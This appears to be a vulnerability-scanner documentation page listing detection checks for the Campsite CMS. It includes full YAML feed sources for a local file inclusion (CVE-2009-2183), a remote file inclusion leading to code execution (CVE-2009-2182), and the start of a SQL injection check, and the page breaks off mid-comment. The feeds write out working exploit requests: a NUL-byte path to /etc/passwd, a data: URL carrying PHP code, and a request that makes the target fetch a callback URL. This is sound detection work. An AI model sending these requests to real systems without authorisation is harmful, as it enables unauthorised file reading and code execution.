Campsite — 4 vulnerability checks

noctis ships 4 vulnerability checks for Campsite, covering 4 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Campsite admin-files/ad.php g_campsiteDir Local File Inclusion

CVECVE-2009-2183
Severitycritical · CVSS 9.1
Categoryfile-read — File read
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 75
Feedtests/vulnerabilities/campsite/CVE-2009-2183.yaml

Tests Campsite for the unauthenticated local file inclusion in admin-files/ad.php, which passes the g_campsiteDir global (set from the request when register_globals is On) followed by "/db_connect.php" to require_once(). The feed requests ad.php under the usual install folders with g_campsiteDir set to /etc/passwd followed by a NUL byte: the contents of /etc/passwd in the reply, and not in the same request naming an absent file, confirm that a local file was read through the inclusion. Otherwise, a PHP require_once warning naming a random directory followed by "/db_connect.php" shows that the value reaches require_once() unchecked. The feed only reads /etc/passwd and runs no supplied code.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/admin-files/ad.php?g_campsiteDir=%2Fetc%2Fpasswd%00&GLOBALS%5Bg_campsiteDir%5…
  3. HTTP(S) request GET {{dir}}/admin-files/ad.php?g_campsiteDir={{probe.absent}}&GLOBALS%5Bg_campsiteDir%5D=…
  4. Parses / computes the next value with a Rhai script
  5. Checks lfi_proof for ^root: → finding QoD 75: Campsite admin-files/ad.php g_campsiteDir Local File Inclusion (CVE-2009-2183)
  6. HTTP(S) request GET {{dir}}/admin-files/ad.php?g_campsiteDir={{probe.marker}}&GLOBALS%5Bg_campsiteDir%5D=…
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. Checks warn_proof for ^noctis[0-9a-zA-Z]+/db_connect\.php$, for each of 1 values → finding QoD 75: Campsite admin-files/ad.php g_campsiteDir File Inclusion (CVE-2009-2183)

References:

Feed source — tests/vulnerabilities/campsite/CVE-2009-2183.yaml
# Campsite admin-files/ad.php g_campsiteDir local file inclusion — CVE-2009-2183
#
# Campsite 3.3.0 RC1 (Campware, later Sourcefabric Newscoop) relies on
# register_globals. admin-files/ad.php starts with
#
#   require_once($GLOBALS['g_campsiteDir']."/db_connect.php");
#
# and runs it before any login when the file is requested directly. That is
# the case when the shipped .htaccess rewrite rules are not active (no
# mod_rewrite, or AllowOverride None); with them, /admin-files/ requests are
# routed through admin.php, which sets g_campsiteDir itself. The code is
# unchanged in 3.3.0 (diffed against the SourceForge tarballs). Advisory:
# exploit-db 8995 (admin-files/ad.php?GLOBALS[g_campsiteDir]=[LFI]).
#
# With register_globals, PHP >= 4.4.1 / 5.0.5 drops a "GLOBALS[...]" request
# parameter, but ?g_campsiteDir=X sets the same file-scope global; the feed
# sends both forms in each request.
#
# Detection, per install folder (web root, /campsite, /Campsite,
# /campsite/implementation/site, /implementation/site):
#   1. File read (QoD 75): g_campsiteDir=/etc/passwd%00 — PHP < 5.3.4 with
#      magic_quotes_gpc Off cuts the path at the NUL byte and prints
#      /etc/passwd (magic_quotes_gpc On turns the NUL into "\0"). The same request with
#      an absent file name must not print a passwd line (a page returning
#      passwd text for anything is not reported).
#   2. Fallback (QoD 75, lower confidence): g_campsiteDir is a random name;
#      the reply must carry PHP's require_once() / main() / "Failed opening
#      required" warning naming "<random>/db_connect.php" (magic quotes or a
#      later PHP version defeat the NUL byte, but the include path is still
#      attacker-controlled).
# Code execution through this file (URL inclusion) is the same flaw as
# CVE-2009-2182 and is tested by campsite/CVE-2009-2182.yaml; this feed only
# reads a file and runs no supplied code.
#
# CVSS: NVD v3.1 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_campsite_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900385, GPL-2.0-only), whose active request only
# covers conf/liveuser_configuration.php; this file is tested directly here.
uid: 9c6f6266-980f-4558-91f7-34d687735748
name: "Campsite admin-files/ad.php g_campsiteDir Local File Inclusion (CVE-2009-2183)"
description: |
  Tests Campsite for the unauthenticated local file inclusion in
  admin-files/ad.php, which passes the g_campsiteDir global (set from the
  request when register_globals is On) followed by "/db_connect.php" to
  require_once(). The feed requests ad.php under the usual install folders
  with g_campsiteDir set to /etc/passwd followed by a NUL byte: the contents
  of /etc/passwd in the reply, and not in the same request naming an absent
  file, confirm that a local file was read through the inclusion. Otherwise,
  a PHP require_once warning naming a random directory followed by
  "/db_connect.php" shows that the value reaches require_once() unchecked.
  The feed only reads /etc/passwd and runs no supplied code.
cves: [CVE-2009-2183]
cvss: 9.1
severity: critical
category: file-read
confidence_base: 0.30
tags: [campsite, campware, php, lfi, local-file-inclusion, path-traversal, register-globals, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2183"
  - "https://www.exploit-db.com/exploits/8995"
  - "https://sourceforge.net/projects/campsite/"
  # OpenVAS/Greenbone NASL 2009/gb_campsite_mult_vuln.nasl (GPL-2.0-only)

steps:
  - id: build-probe
    action: script
    code: |
      #{
        marker: "noctis" + rand_str(12),
        absent: "%2Fetc%2Fnoctis" + rand_str(10) + "%00"
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-dir
    action: set_var
    var_name: warn_dir
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  # ── Loop group: every following step runs once per install folder. ───────
  - id: init-lfi-r
    action: set_var
    var_name: lfi_r
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/campsite", "/Campsite", "/campsite/implementation/site", "/implementation/site"]

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-lfi-proof
    action: set_var
    var_name: lfi_proof
    var_value: ""

  # ── 1. /etc/passwd + NUL byte ────────────────────────────────────────────
  - id: lfi-probe
    action: http_request
    method: GET
    path: "{{dir}}/admin-files/ad.php?g_campsiteDir=%2Fetc%2Fpasswd%00&GLOBALS%5Bg_campsiteDir%5D=%2Fetc%2Fpasswd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: lfi_r

  - id: lfi-control
    action: http_request
    method: GET
    path: "{{dir}}/admin-files/ad.php?g_campsiteDir={{probe.absent}}&GLOBALS%5Bg_campsiteDir%5D={{probe.absent}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'type_of(lfi_r.body) == "string" && lfi_r.body.contains(":0:0:")'
    store_as: ctl_r

  # Fail-closed: the control must have answered (status > 0) without a
  # passwd root line. Returns the matched line, or "".
  - id: lfi-check
    action: script
    code: |
      let re = "^root:[^:]*:0:0:";
      let b = if type_of(lfi_r.body) == "string" { lfi_r.body } else { "" };
      let c = if type_of(ctl_r.body) == "string" { ctl_r.body } else { "" };
      if egrep(re, b) != "" && ctl_r.status > 0 && egrep(re, c) == "" {
        let l = eregmatch("root:[^:\n]*:0:0:[^\n<]*", b);
        if l.len() > 0 { l[0] } else { "root:" }
      } else { "" }
    store_as: lfi_proof

  - id: report-lfi
    action: match
    source: lfi_proof
    pattern: "^root:"
    condition: 'lfi_proof != ""'
    on_match:
      finding:
        title: "Campsite admin-files/ad.php g_campsiteDir Local File Inclusion (CVE-2009-2183)"
        description: "An unauthenticated request to Campsite's admin-files/ad.php with g_campsiteDir set to /etc/passwd followed by a NUL byte returned the contents of /etc/passwd, while the same request naming an absent file did not: ad.php passes g_campsiteDir to require_once() without any check, so an attacker can read local files and run local PHP files."
        remediation: "Disable register_globals (it is removed in PHP 5.4) and upgrade PHP. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, make sure the shipped .htaccess rewrite rules are active (AllowOverride All, mod_rewrite), or block direct requests to admin-files/ PHP files."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{dir}}/admin-files/ad.php?g_campsiteDir=/etc/passwd%00 returned the /etc/passwd line \"{{lfi_proof}}\" (absent-file control: no passwd line)"
      stop: true

  # ── 2. Random folder name — require_once() warning naming it (fallback) ──
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{dir}}/admin-files/ad.php?g_campsiteDir={{probe.marker}}&GLOBALS%5Bg_campsiteDir%5D={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "warn_found == false && lfi_r.status != 404"
    store_as: warn_r

  - id: warn-check
    action: script
    code: |
      let f = probe.marker + "/db_connect.php";
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let hit = b.contains("Failed opening required '" + f + "'");
      for w in ["require_once(", "require(", "main("] {
        if b.contains(w + f + ")") { hit = true; }
      }
      hit
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-dir
    action: script
    code: "dir"
    condition: "warn_found == false && warn_hit"
    store_as: warn_dir

  - id: warn-proof
    action: script
    code: 'probe.marker + "/db_connect.php"'
    condition: "warn_found == false && warn_hit"
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: "warn_hit"

  # ── Fallback finding (after every folder had its file-read attempt) ──────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9a-zA-Z]+/db_connect\\.php$"
    condition: 'warn_proof != ""'
    loop:
      var: once
      over: [1]
    on_match:
      finding:
        title: "Campsite admin-files/ad.php g_campsiteDir File Inclusion (CVE-2009-2183)"
        description: "An unauthenticated request to Campsite's admin-files/ad.php with g_campsiteDir set to a random folder name returned a PHP require_once warning for that name followed by /db_connect.php: ad.php passes g_campsiteDir to require_once() without any check. Reading /etc/passwd through it did not succeed (magic_quotes_gpc or the PHP version may defeat the NUL byte), but the include path is attacker-controlled."
        remediation: "Disable register_globals (it is removed in PHP 5.4) and upgrade PHP. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, make sure the shipped .htaccess rewrite rules are active (AllowOverride All, mod_rewrite), or block direct requests to admin-files/ PHP files."
        confidence_delta: 0.45
        qod: 75
        evidence: "GET {{warn_dir}}/admin-files/ad.php?g_campsiteDir={{probe.marker}} returned a PHP require_once warning for {{warn_proof}}"

Campsite g_campsiteDir Remote File Inclusion

CVECVE-2009-2182
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match, wait_oob · highest QoD 97
Feedtests/vulnerabilities/campsite/CVE-2009-2182.yaml

Tests Campsite for the unauthenticated file inclusion in conf/liveuser_configuration.php and include/phorum_load.php, which pass the g_campsiteDir global (set from the request when register_globals is On) followed by a fixed path to require_once(). The feed requests both files under the usual install folders with g_campsiteDir set to a data: URL carrying a small PHP snippet that prints the md5 of the product of two random numbers; that md5 in the reply confirms that the server ran code supplied in the request. It then sets g_campsiteDir to /etc/passwd followed by a NUL byte: the contents of /etc/passwd in the reply (and not in the same request naming an absent file) confirm a local file inclusion. When OOB is enabled, g_campsiteDir is also set to the scanner's callback URL, and a fetch of that URL confirms the remote inclusion even when PHP output and errors are hidden. Otherwise, a PHP require_once warning naming a random directory followed by the fixed path shows that the value reaches require_once() unchecked. The snippet only prints a hash and writes nothing on the server.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{t.d}}{{t.f}}?g_campsiteDir={{probe.data}}&GLOBALS%5Bg_campsiteDir%5D={{probe.data}}
  3. Parses / computes the next value with a Rhai script
  4. Checks rce_proof for ^[0-9a-f]{32}$ → finding QoD 97: Campsite g_campsiteDir Remote File Inclusion (CVE-2009-2182)
  5. HTTP(S) request GET {{t.d}}{{t.f}}?g_campsiteDir=%2Fetc%2Fpasswd%00&GLOBALS%5Bg_campsiteDir%5D=%2Fetc%2Fp…
  6. HTTP(S) request GET {{t.d}}{{t.f}}?g_campsiteDir={{probe.absent}}&GLOBALS%5Bg_campsiteDir%5D={{probe.abse…
  7. Parses / computes the next value with a Rhai script
  8. Parses / computes the next value with a Rhai script
  9. Parses / computes the next value with a Rhai script
  10. HTTP(S) request GET {{t.d}}{{t.f}}?g_campsiteDir={{probe.marker}}&GLOBALS%5Bg_campsiteDir%5D={{probe.mark…
  11. Parses / computes the next value with a Rhai script
  12. Parses / computes the next value with a Rhai script
  13. Parses / computes the next value with a Rhai script
  14. HTTP(S) request GET {{t.d}}{{t.f}}?g_campsiteDir={{oob_url}}%3F&GLOBALS%5Bg_campsiteDir%5D={{oob_url}}%3F
  15. … and 3 more steps — see the feed source below

References:

Feed source — tests/vulnerabilities/campsite/CVE-2009-2182.yaml
# Campsite g_campsiteDir remote file inclusion — CVE-2009-2182
#
# Campsite 3.3.0 RC1 (Campware, later Sourcefabric Newscoop) relies on
# register_globals. Several of its PHP files start with a require_once() of
# $GLOBALS['g_campsiteDir'] followed by a fixed path, and can be requested
# directly, before any login (they are not under /admin, so the shipped
# .htaccess does not route them through admin.php):
#
#   conf/liveuser_configuration.php
#     require_once($GLOBALS['g_campsiteDir'].'/include/campsite_constants.php');
#   include/phorum_load.php
#     require_once($GLOBALS['g_campsiteDir'].'/classes/SystemPref.php');
#
# The code is unchanged in 3.3.0 (diffed against the SourceForge tarballs).
# Advisory: exploit-db 8995 (?GLOBALS[g_campsiteDir]=[SHELL]).
#
# With register_globals, PHP >= 4.4.1 / 5.0.5 drops a "GLOBALS[...]" request
# parameter, but ?g_campsiteDir=X sets the same file-scope global. The feed
# sends both forms in each request, so it covers every PHP version (the
# advisory's and the source check's GLOBALS[] form alone misses PHP 5).
#
# Detection, per install folder (web root, /campsite, /Campsite, and the
# tarball layout /campsite/implementation/site, /implementation/site) and per
# file:
#   1. In-band code execution (QoD 97): g_campsiteDir is a data: URL holding
#      <?php echo md5(A*B);exit;?> with random A and B. With allow_url_include
#      (PHP >= 5.2) the code runs and the reply carries md5 of the product, a
#      value the request never contains. A refused wrapper only quotes the
#      code text. No quotes in the code (magic_quotes_gpc-safe); writes nothing.
#   2. Local file inclusion (QoD 75): g_campsiteDir=/etc/passwd%00 — PHP
#      < 5.3.4 with magic_quotes_gpc Off cuts the path at the NUL byte and
#      prints /etc/passwd (magic_quotes_gpc On turns the NUL into "\0", and
#      the warning fallback below still reports the flaw). The same
#      request with an absent file name must not print a passwd line (a page
#      returning passwd text for anything is not reported).
#   3. OOB (QoD 97, OOB enabled only): g_campsiteDir is the callback URL + "?"
#      so the appended path lands in the query string; the fetch is the remote
#      inclusion, also seen when PHP errors are hidden.
#   4. Fallback (QoD 75): g_campsiteDir is a random name; the reply must carry
#      PHP's require_once() / main() / "Failed opening required" warning naming
#      "<random>/<fixed path>". The source check only looks for its marker and
#      "No such file or directory" anywhere in the reply.
#
# CVSS: NVD v3.1 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
#
# Ported from OpenVAS/Greenbone NVT 2009/gb_campsite_mult_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.900385, GPL-2.0-only). Improvements: real code
# execution / OOB / file-read proof instead of a marker match, the plain
# g_campsiteDir parameter (PHP 5), a second sink, several install folders
# without a prior product detection, and no version-only verdict (the code
# is identical in the 3.3.0 release the version check calls fixed).
uid: 2fa47472-78bb-438b-bc71-559de162027c
name: "Campsite g_campsiteDir Remote File Inclusion (CVE-2009-2182)"
description: |
  Tests Campsite for the unauthenticated file inclusion in
  conf/liveuser_configuration.php and include/phorum_load.php, which pass
  the g_campsiteDir global (set from the request when register_globals is
  On) followed by a fixed path to require_once(). The feed requests both
  files under the usual install folders with g_campsiteDir set to a data:
  URL carrying a small PHP snippet that prints the md5 of the product of two
  random numbers; that md5 in the reply confirms that the server ran code
  supplied in the request. It then sets g_campsiteDir to /etc/passwd
  followed by a NUL byte: the contents of /etc/passwd in the reply (and not
  in the same request naming an absent file) confirm a local file
  inclusion. When OOB is enabled, g_campsiteDir is also set to the
  scanner's callback URL, and a fetch of that URL confirms the remote
  inclusion even when PHP output and errors are hidden. Otherwise, a PHP
  require_once warning naming a random directory followed by the fixed path
  shows that the value reaches require_once() unchecked. The snippet only
  prints a hash and writes nothing on the server.
cves: [CVE-2009-2182]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [campsite, campware, php, rfi, lfi, remote-file-inclusion, rce, register-globals, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-2182"
  - "https://www.exploit-db.com/exploits/8995"
  - "https://sourceforge.net/projects/campsite/"
  # OpenVAS/Greenbone NASL 2009/gb_campsite_mult_vuln.nasl (GPL-2.0-only)

steps:
  # ── Probe values, shared by every folder and file ────────────────────────
  # md5(A*B) is printed only when the included snippet actually runs.
  - id: build-probe
    action: script
    code: |
      let a = rand_int(10000, 99999);
      let b = rand_int(10000, 99999);
      #{
        data: "data%3Atext%2Fplain%2C%3C%3Fphp%20echo%20md5(" + a + "*" + b + ")%3Bexit%3B%3F%3E",
        expect: md5("" + (a * b)),
        marker: "noctis" + rand_str(12),
        absent: "%2Fetc%2Fnoctis" + rand_str(10) + "%00"
      }
    store_as: probe

  - id: init-warn-found
    action: set_var
    var_name: warn_found
    var_value: false

  - id: init-warn-url
    action: set_var
    var_name: warn_url
    var_value: ""

  - id: init-warn-proof
    action: set_var
    var_name: warn_proof
    var_value: ""

  - id: init-lfi-found
    action: set_var
    var_name: lfi_found
    var_value: false

  - id: init-lfi-url
    action: set_var
    var_name: lfi_url
    var_value: ""

  - id: init-lfi-proof
    action: set_var
    var_name: lfi_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # ── Loop group: every following step up to the OOB wait runs once per
  # install folder (d) and file (f, with its fixed include suffix s). Each
  # pass resets the values it reads.
  - id: init-rce-r
    action: set_var
    var_name: rce_r
    var_value: {status: 0, body: ""}
    loop:
      var: t
      over:
        - {d: "", f: "/conf/liveuser_configuration.php", s: "/include/campsite_constants.php"}
        - {d: "", f: "/include/phorum_load.php", s: "/classes/SystemPref.php"}
        - {d: "/campsite", f: "/conf/liveuser_configuration.php", s: "/include/campsite_constants.php"}
        - {d: "/campsite", f: "/include/phorum_load.php", s: "/classes/SystemPref.php"}
        - {d: "/Campsite", f: "/conf/liveuser_configuration.php", s: "/include/campsite_constants.php"}
        - {d: "/Campsite", f: "/include/phorum_load.php", s: "/classes/SystemPref.php"}
        - {d: "/campsite/implementation/site", f: "/conf/liveuser_configuration.php", s: "/include/campsite_constants.php"}
        - {d: "/campsite/implementation/site", f: "/include/phorum_load.php", s: "/classes/SystemPref.php"}
        - {d: "/implementation/site", f: "/conf/liveuser_configuration.php", s: "/include/campsite_constants.php"}
        - {d: "/implementation/site", f: "/include/phorum_load.php", s: "/classes/SystemPref.php"}

  - id: init-lfi-r
    action: set_var
    var_name: lfi_r
    var_value: {status: 0, body: ""}

  - id: init-ctl-r
    action: set_var
    var_name: ctl_r
    var_value: {status: 0, body: ""}

  - id: init-warn-r
    action: set_var
    var_name: warn_r
    var_value: {status: 0, body: ""}

  - id: init-rce-proof
    action: set_var
    var_name: rce_proof
    var_value: ""

  - id: init-lfi-hit
    action: set_var
    var_name: lfi_hit
    var_value: false

  # ── 1. data: URL — in-band code execution ────────────────────────────────
  - id: rce-probe
    action: http_request
    method: GET
    path: "{{t.d}}{{t.f}}?g_campsiteDir={{probe.data}}&GLOBALS%5Bg_campsiteDir%5D={{probe.data}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: rce_r

  - id: rce-check
    action: script
    code: |
      if type_of(rce_r.body) == "string" && rce_r.body.contains(probe.expect) { probe.expect } else { "" }
    store_as: rce_proof

  - id: report-rce
    action: match
    source: rce_proof
    pattern: "^[0-9a-f]{32}$"
    condition: 'rce_proof != ""'
    on_match:
      finding:
        title: "Campsite g_campsiteDir Remote File Inclusion (CVE-2009-2182)"
        description: "An unauthenticated request to a Campsite PHP file with g_campsiteDir set to a data: URL holding PHP code made the server run that code: the reply carried the md5 of the product of two random numbers that the request does not contain. The file passes g_campsiteDir to require_once() without any check, so an attacker can run any PHP code on the server."
        remediation: "Disable register_globals (it is removed in PHP 5.4) and set allow_url_include to Off. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, or block direct requests to conf/, include/ and admin-files/ PHP files."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{t.d}}{{t.f}}?g_campsiteDir=data:text/plain,<?php echo md5(A*B);exit;?> returned the expected md5 {{rce_proof}} (included PHP code executed)"
      stop: true

  # ── 2. /etc/passwd + NUL byte — local file inclusion ─────────────────────
  - id: lfi-probe
    action: http_request
    method: GET
    path: "{{t.d}}{{t.f}}?g_campsiteDir=%2Fetc%2Fpasswd%00&GLOBALS%5Bg_campsiteDir%5D=%2Fetc%2Fpasswd%00"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "lfi_found == false && rce_r.status != 404"
    store_as: lfi_r

  - id: lfi-control
    action: http_request
    method: GET
    path: "{{t.d}}{{t.f}}?g_campsiteDir={{probe.absent}}&GLOBALS%5Bg_campsiteDir%5D={{probe.absent}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'lfi_found == false && type_of(lfi_r.body) == "string" && lfi_r.body.contains(":0:0:")'
    store_as: ctl_r

  # Fail-closed: the control must have answered (status > 0) without a
  # passwd root line.
  - id: lfi-check
    action: script
    code: |
      let re = "^root:[^:]*:0:0:";
      let b = if type_of(lfi_r.body) == "string" { lfi_r.body } else { "" };
      let c = if type_of(ctl_r.body) == "string" { ctl_r.body } else { "" };
      egrep(re, b) != "" && ctl_r.status > 0 && egrep(re, c) == ""
    condition: "lfi_found == false"
    store_as: lfi_hit

  - id: lfi-url
    action: script
    code: "t.d + t.f"
    condition: "lfi_found == false && lfi_hit"
    store_as: lfi_url

  - id: lfi-proof
    action: script
    code: |
      let l = eregmatch("root:[^:\n]*:0:0:[^\n<]*", lfi_r.body);
      if type_of(l) == "array" && l.len() > 0 { l[0] } else { "root:...:0:0:" }
    condition: "lfi_found == false && lfi_hit"
    store_as: lfi_proof

  - id: lfi-found
    action: set_var
    var_name: lfi_found
    var_value: true
    condition: "lfi_hit"

  # ── 4. Random folder name — require_once() warning naming it (fallback) ──
  - id: warn-probe
    action: http_request
    method: GET
    path: "{{t.d}}{{t.f}}?g_campsiteDir={{probe.marker}}&GLOBALS%5Bg_campsiteDir%5D={{probe.marker}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    # Also when the code probe got no reply (status 0, e.g. a filter dropping
    # "<?php"): this plain request may still get through.
    condition: "warn_found == false && lfi_found == false && rce_r.status != 404"
    store_as: warn_r

  - id: warn-check
    action: script
    code: |
      let f = probe.marker + t.s;
      let b = if type_of(warn_r.body) == "string" { warn_r.body } else { "" };
      let hit = b.contains("Failed opening required '" + f + "'");
      for w in ["require_once(", "require(", "main("] {
        if b.contains(w + f + ")") { hit = true; }
      }
      hit
    condition: "warn_found == false"
    store_as: warn_hit

  - id: warn-url
    action: script
    code: "t.d + t.f"
    condition: "warn_found == false && warn_hit"
    store_as: warn_url

  - id: warn-proof
    action: script
    code: "probe.marker + t.s"
    condition: "warn_found == false && warn_hit"
    store_as: warn_proof

  - id: warn-found
    action: set_var
    var_name: warn_found
    var_value: true
    condition: "warn_hit"

  # ── 3. Callback URL — remote inclusion seen out of band ──────────────────
  # Sent to every file not answering 404 (a server hiding PHP errors gives
  # no in-band sign). "%3F" makes the appended path a query string.
  - id: oob-probe
    action: http_request
    method: GET
    path: "{{t.d}}{{t.f}}?g_campsiteDir={{oob_url}}%3F&GLOBALS%5Bg_campsiteDir%5D={{oob_url}}%3F"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-sent
    action: set_var
    var_name: oob_sent
    var_value: true
    condition: "oob_enabled && rce_r.status != 404"

  - id: oob-wait
    action: wait_oob
    oob_timeout_secs: 20
    condition: "oob_enabled && oob_sent"
    on_success:
      finding:
        title: "Campsite g_campsiteDir Remote File Inclusion (CVE-2009-2182)"
        description: "An unauthenticated request to a Campsite PHP file with g_campsiteDir set to the noctis callback URL made the server fetch that URL: the file passes g_campsiteDir to require_once() without any check, so an attacker can make it fetch and run PHP code from a server they control."
        remediation: "Disable register_globals (it is removed in PHP 5.4) and set allow_url_include and allow_url_fopen to Off. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, or block direct requests to conf/, include/ and admin-files/ PHP files."
        confidence_delta: 0.65
        qod: 97
        evidence: "OOB HTTP callback received after GET <dir>/conf/liveuser_configuration.php or <dir>/include/phorum_load.php ?g_campsiteDir=<OOB URL>? (remote file inclusion)"
      stop: true

  # ── Local file inclusion finding ─────────────────────────────────────────
  - id: report-lfi
    action: match
    source: lfi_proof
    pattern: "^root:"
    condition: 'lfi_proof != ""'
    on_match:
      finding:
        title: "Campsite g_campsiteDir Local File Inclusion (CVE-2009-2182)"
        description: "An unauthenticated request to a Campsite PHP file with g_campsiteDir set to /etc/passwd followed by a NUL byte returned the contents of /etc/passwd, while the same request naming an absent file did not: the file passes g_campsiteDir to require_once() without any check, so an attacker can read and run local files. Remote code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled)."
        remediation: "Disable register_globals (it is removed in PHP 5.4), set allow_url_include to Off and upgrade PHP. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, or block direct requests to conf/, include/ and admin-files/ PHP files."
        confidence_delta: 0.55
        qod: 75
        evidence: "GET {{lfi_url}}?g_campsiteDir=/etc/passwd%00 returned the /etc/passwd line \"{{lfi_proof}}\" (absent-file control: no passwd line)"
      stop: true

  # ── Fallback finding: require_once() warning naming the random folder ────
  - id: report-warn
    action: match
    source: warn_proof
    pattern: "^noctis[0-9a-zA-Z]+/"
    condition: 'warn_proof != ""'
    on_match:
      finding:
        title: "Campsite g_campsiteDir File Inclusion (CVE-2009-2182)"
        description: "An unauthenticated request to a Campsite PHP file with g_campsiteDir set to a random folder name returned a PHP require_once warning for that name followed by the file's fixed include path: the file passes g_campsiteDir to require_once() without any check. Code execution was not confirmed (URL inclusion may be disabled, or OOB was not enabled), but the include path is attacker-controlled."
        remediation: "Disable register_globals (it is removed in PHP 5.4) and set allow_url_include to Off. Campsite 3.3.0 RC1 and 3.3.0 are affected: upgrade to a current Newscoop release, or block direct requests to conf/, include/ and admin-files/ PHP files."
        confidence_delta: 0.50
        qod: 75
        evidence: "GET {{warn_url}}?g_campsiteDir={{probe.marker}} returned a PHP require_once warning for {{warn_proof}}"

Campsite attachments.php article_id SQL Injection

CVECVE-2010-1867
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/campsite/CVE-2010-1867.yaml

Tests Campsite for the unauthenticated SQL injection in the TinyMCE attachment picker, javascript/tinymce/plugins/campsiteattachment/attachments.php, which builds its attachment query with the article_id parameter unquoted and unchecked. The feed requests the page under the usual install folders with article_id set to a UNION SELECT whose file name column is the text NOCTIS, the product of two random numbers and END; the database-computed value printed as an attachment name confirms the injection. The query only reads, and nothing is written. When the injection cannot be confirmed but the attachment picker is served without login (fixed releases redirect to the login page), the page is reported at lower confidence.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/javascript/tinymce/plugins/campsiteattachment/attachments.php?article_id={{sc…
  3. Parses / computes the next value with a Rhai script
  4. Parses / computes the next value with a Rhai script
  5. Checks hit for ^union$ → finding QoD 97: Campsite attachments.php article_id SQL Injection (CVE-2010-1867)
  6. Checks page_dir for ^/, for each of 1 values → finding QoD 70: Campsite attachments.php Served Without Login (CVE-2010-1867)

References:

Feed source — tests/vulnerabilities/campsite/CVE-2010-1867.yaml
# Campsite attachments.php article_id SQL injection — CVE-2010-1867
#
# Campsite 3.3.5 and older (Campware/Sourcefabric, later renamed Newscoop)
# ship javascript/tinymce/plugins/campsiteattachment/attachments.php, the
# TinyMCE attachment picker. It checks no login and runs
#
#   $list = $manager->getFiles($_REQUEST['article_id'], $languageSelected);
#
# which ends in ArticleAttachment::GetAttachmentsByArticleNumber():
#
#   SELECT id,fk_language_id,file_name,extension,content_disposition,
#          http_charset,mime_type,size_in_bytes,fk_description_id,fk_user_id,
#          last_modified,time_created
#   FROM Attachments, ArticleAttachments
#   WHERE ArticleAttachments.fk_article_number=<article_id> AND ...
#   ORDER BY Attachments.time_created asc, ...
#
# article_id is not quoted and not checked. Each returned row is printed with
# its file_name as the link text. Campsite 3.3.6 adds an admin login check
# (302 to the login page) and is_numeric() on article_id. SQL errors are never
# printed (ADOdb with debug off): a failed query only shows "No Attachments
# Found". Sources: SourceForge campsite-3.3.0/3.3.5/3.3.6 tarballs (the file is
# unchanged from 3.3.0 to 3.3.5); advisory MOPS-2010-002.
#
# Detection, per install folder (web root, /campsite, /Campsite,
# /campsite/implementation/site, /implementation/site):
#   1. UNION proof (QoD 97): article_id=-1 UNION SELECT of the 12 columns,
#      file_name = CONCAT('NOCTIS', a*b, 'END') with random a, b, ended by
#      "-- -" (cuts the ORDER BY, which a UNION cannot use with table names).
#      The reply must carry NOCTIS<a*b>END: only the database computes it, a
#      page echoing the query string shows the expression, not the product.
#      Nothing is written. Any status is accepted: after listing a row, the
#      real page's auto-select block calls getDescription() on an undefined
